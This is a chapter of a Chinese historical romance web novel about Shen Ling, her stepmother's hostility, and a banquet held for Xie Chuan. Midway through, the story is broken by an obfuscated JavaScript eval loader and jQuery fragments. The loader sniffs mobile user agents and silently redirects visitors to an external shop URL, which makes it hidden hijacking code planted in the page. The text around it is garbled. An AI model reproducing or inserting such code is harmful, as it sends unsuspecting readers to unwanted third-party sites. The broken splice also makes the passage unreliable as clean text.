樊楼二层阁间。
一室清幽,雕花隔扇半掩,阁间正中设着一张紫檀方桌,两名男子分坐两侧。
傅慎抬手为刚落座的谢川斟了杯茶,“此行可还顺利?”
谢川轻轻点着那薄瓷茶盏,只漫不经心地嗯了声,脑中想的却是方才在回廊见到的那张侧脸,还有那若有似无的香。
“听闻你这次平盗有功,新上任的提举还为此见了你。”顿了顿,傅慎又接着道,“他也是江首辅的门生?”
闻言,谢川拨弄茶盏的手停了一瞬。
他很轻地笑了声,这才抬眸看着对面的人,没有否认也没有回答,只问道:“怎么,还有你傅公子走不通的门路?”
一直以来,傅家海上贸易能做得顺风顺水,除了家族底蕴,更是因为和港口官员一直都关系密切,偏偏这位新上任的市舶司提举油盐不进,确实有些棘手。
江首辅一脉的门生,都不是什么好应付的铁桶角色。
谢川年少时在国子监呆过,那时也算得上江首辅的门生,只后来他弃文从商,明面上与首辅沾不上边,但傅慎知道谢川与江府那位公子走得很近。
用意被谢川无情拆穿,傅慎也不恼,他坦然笑道:“请二爷指条明路?”
谢川抿了口茶,面不改色道:“我要东街那排商铺。”
-
出了主楼,沈泠才终于能大口地喘气。
她额头沁着冷汗,利落换下那身小厮装扮后,趁着夜色拐到无人处,翻身出墙离开了樊楼,头也不回地汇入了长街的人流中。
樊楼戒备森严,今日若非有人接应,并未引起骚乱,她也难以如此顺利进出。
沈泠此次入京,虽说是被沈父骗来的,但她其实还有一个目的,便是要到樊楼取回娘亲的制香手札。
十年前,她历经艰辛才从樊楼逃出,若非她打算明日见过谢川便适时起身回泉港,也不会选择在今夜潜入樊楼。
可沈泠万万没想到,居然会在这里再次遇到谢川。
即便时隔多年,他的眉眼早已褪去年少的青涩,气势也更盛了,但沈泠还是一眼就认出了他,直到此时她的心依旧跳个不停。
谢川去樊楼做什么,沈泠并没有去想。
她很有自知之明,也不会去奢望不该奢望的东西,只是想看看他,但今夜在樊楼,显然并不是一个好时机。
平复心绪后,沈泠才回到沈家,可她才刚进屋,便有惹人嫌的主动找上门来。
“哟,也不知是谁家的闺秀,这么晚还在外面抛头露面。”
沈泠一身男装还未换,很轻地哼了一声,只当没听见来人的话。
见沈泠根本不睬她,完全没把她这个当家主母放在眼里,薛氏那张脸变得愈发刻薄起来,明明已经被送出去的小贱人又回来了,她心里如何舒坦?
薛氏家境并不好,原本也只是因为沈父一夜风流怀了种,才被纳为妾室,沈泠娘亲苏氏过世后,才被抬了正。
因此在面对沈灼、沈泠这对兄妹时,她的心中始终有疙瘩。
尤其是沈泠,从小便长了一张令人无法忽视的脸,怎么看怎么让她不顺眼,好不容易让沈父把她送去樊楼,没想到竟还让她逃回了泉港苏家,因此还得罪了贵人,沈家这生意也是一落千丈,沈家才将沈泠除了名。
这一转眼十年过去,薛氏都已经想不起这号人物,哪知沈父竟然把这个沈泠给找了回来,这不得不让她怀疑,沈父是不是心里还惦记着他那个原配。
薛氏心里暗暗发恨,那沈灼不过是个病秧子,怕是都活不过几年,如今更是不知去向,哪怕是死在外面都没人知道,本来之后她儿子就能顺理成章地继承家业,这时候把沈泠找回来,简直就是在给她心里添堵。
她看着沈泠那张脸,只觉得真是狐媚子,又哼了一声,“你一个被沈家除名的外人,也好意思一直赖着不走。”
沈泠早已不是十年前的小女孩,如今的她对沈家本就毫无想法,薛氏说再多也无法激怒她,只让她觉得聒噪。
她蹙了蹙眉,“这话你不如对他说去。”
这个“他”自然是沈父。
果然薛氏在听到这话后表情噎了一下,她脸上愠怒,还想开口再说什么,却又被沈泠一句话给堵了回来。
“明日我还要去谢家赴宴,慢走不送。”
这谢家二字在沈家是什么样的份量,薛氏再怎么傻也懂得,她悻悻闭了嘴,又冷冷甩了个脸才转身离开。
终于把人送走后,沈泠先是失笑地摇了摇头,然后眼底便染上了寒意。
翌日,沈泠难得认真将自己收拾了一番。
临出门前,沈父又再次叮嘱她定要多多与谢家打好关系,她很轻地嗯了一声,便上了马车。
等沈泠抵达谢家大门之时,朱漆大门敞得大开,已陆陆续续有宾客到了,她上前将帖子递给门口的护卫,很快便有侍从过来为她引路。
不得不说,谢家的排场很大,侍从将她引到院中,让她稍作歇息。
沈泠环顾四周,这里已经汇集了不少人,看起来都是有头有脸的人物,此时正三三两两地凑在一起交谈,谈话间也并没有什么避讳。
沈泠在旁默默听了一会,偶尔听到几句什么御用贡香之类的,才知今日这场宴席似乎并不是普通的接风宴。
这事不能怪沈泠不知。
她久居泉港,对上京的事并不太了解。而沈家的人也并非制香起家,虽多少听闻过御香之事,却也不知这其中的门道,无非就是想着跟着谢家捞点好处,也无从和沈泠交代这些。
不过沈泠本也不是为什么御香初筛而来,便没有在意,只当个兴致在听。
正好没人认识她,虽然有不少人的目光落在她身上,却因为面生,并没有什么人主动与她交谈。
沈泠自然是知道御香的,甚至苏家在最巅峰的时候也曾出过御香,也算名动一时,但她还是第一次听到御香筛选之事,心下好奇,便听得仔细了些。
直到身后有人唤了一声,“沈灼。”
这一声,让原本四周的交谈声低了下来,沈泠听得出是谁的声音,表情有些无奈,但她还是转身行礼道:“知礼兄。”
谢知礼是抽空特意过来找人的,他本想着这沈灼要是个懂事的,定然会带礼上门谢他,可他左瞧瞧右看看,万万没想到这人竟然是空手来的。
这沈家在上京虽然排不上名号,也不至于这么没眼力见吧,谢知礼忍不住问道:“你就这么空手来了?”那你来干什么。
后面那句话他没说,但他脸上的表情已表现得很明显了。
闻言,沈泠很轻地笑了声,那笑容很浅却愣是令谢知礼有些看呆了。
当初听沈父说让她攀交谢家二房时,沈泠心里是有抵触的,但真的见过谢知礼后,她倒是松了口气。
谢知礼此人看似纨绔,实则还算正经。
上次谢知礼和她提说要安神香,虽然没说要送人,但沈泠心中猜测他是要送给谢川,毕竟那段时日整个上京都在传谢川要回来的消息。
沈泠是知道谢川喜安神香的。
因此她费了些心思,那安神香本就是她制好后带来的,早在来上京之前,她就已经做好打算,想着托人将这香送给谢川。
只是没想到沈家骗了她,还让她去攀交谢知礼,所以当谢知礼开了口,她便顺理成章地将香送了出去,只是不知道那香如今有没有到谢川的手中。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766280|209704||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“知礼兄,该献的香我已经献了。”沈泠道。
听了这话,谢知礼只觉得这人是没救了,他哪能看不出沈家有什么意图,但沈家派这么个人不上道的人来,又把他给搞迷糊了。
这究竟是想做什么?
这个沈灼从见他的第一面开始,似乎就没有把自己低人一等,但这其实也让他高看了一眼,他确实看不上那些只会点头哈腰的人,再者这沈灼生了副好样貌,看得人赏心悦目。
若非如此,这谢家的大门岂是那么好进的?
谢知礼没好气道:“那香我送人了。”
闻言,沈泠点了点头,却没再开口了。
谢知礼被沈泠气笑了,敢情还得让他开口要礼是吗?而且,今日来赴宴的人哪个不是带着最好的香来,想要在他二哥面前露露脸的。
这人倒好两手空空,真当是来吃席的吗。
但很快,谢知礼又忽然反应过来。
不对呀,谁说这沈灼不上道的,别人都还在这眼巴巴地等着趁这次宴会献香呢,可沈灼这香过了他的手,直接就送到了他二哥手上。
怎么不是比别人走了个捷径?
谢知礼看沈泠的眼神有些不对了,要不是他从来没说过这安神香他是要送给二哥的,他都要怀疑这沈灼根本就是想借他的手给二哥献香。
“你该不会……”谢知礼眼睛眯了眯,但在看到沈泠那副看起来就很单纯的脸时,又把话憋了回去,“算了。”
两人又简单交谈几句,谢知礼便匆匆离开了,其实今日他也很忙碌,但不知为何想起沈灼,他还是过来了一趟。
不久后,宴席终于开场了。
虽说是为谢川办的接风宴,但众人入席,桌案上的凉菜上了好一会,这场宴会的主角才现了身。
沈泠的视线落在不远处从容迈步而来的那人身上,这次她终于能这般没有顾忌地看着他。
他眉眼更为成熟锐利,气势更盛却也更有余,那肩背的线条在玄色衣袍下撑出利落的轮廓。
谢川一出现,原本坐着的众人都纷纷起身。
他扫了席面一眼,接过侍从为他递过来的酒盏,朝众人举了举,“诸位久等。”
直到他仰头饮尽,搁下空杯,席间才又活络过来,陆续有人落座、交谈,管家这才开始吩咐侍从撤了凉菜换热菜。
开席没多久,便有一波又一波的人上前敬酒,只有沈泠坐着没动,在无人注意的角落,她静静地看着谢川在这种场面里游刃有余。
沈泠并没有打算去敬酒,但许是她看谢川看得太过专注,竟没有发现谢知礼不知何时举杯走到了她的身侧。
“不去给我二哥敬酒吗?”谢知礼问道。
沈泠被这突然冒出的声音吓了一跳,见到是谢知礼,她婉拒道:“不了。”
谢知礼古怪地看了沈泠一眼,可怎么说这人也是他推荐来的,连敬酒都不会,等下宴席结束,还不知道有谁会暗中笑话他呢。
他示意沈泠看看四周,又开口道:“没看到所有人都去敬酒了吗?”
沈泠默了几息,她本想就这么远远看着,但似乎这样确实失了礼数,哪怕是……问声安好也是应该的。
她攥着藏在袖中的手心,好一会才点了点头,端起桌上的酒盏,跟在谢知礼身后往朝谢川的方向走去。
这边,围着谢川的人陆陆续续散了些。
沈泠快走近时,站在谢川身后的长风先注意到了她,他认真地盯着沈泠看了一会,低头在谢川耳边低声提醒道,“爷,是上次挡道的人。”
闻言,谢川抬起眼眸,看着不远处穿过人群时侧身的那张侧脸,他眼眸微沉,没有开口,只不动声色地转了转扳指。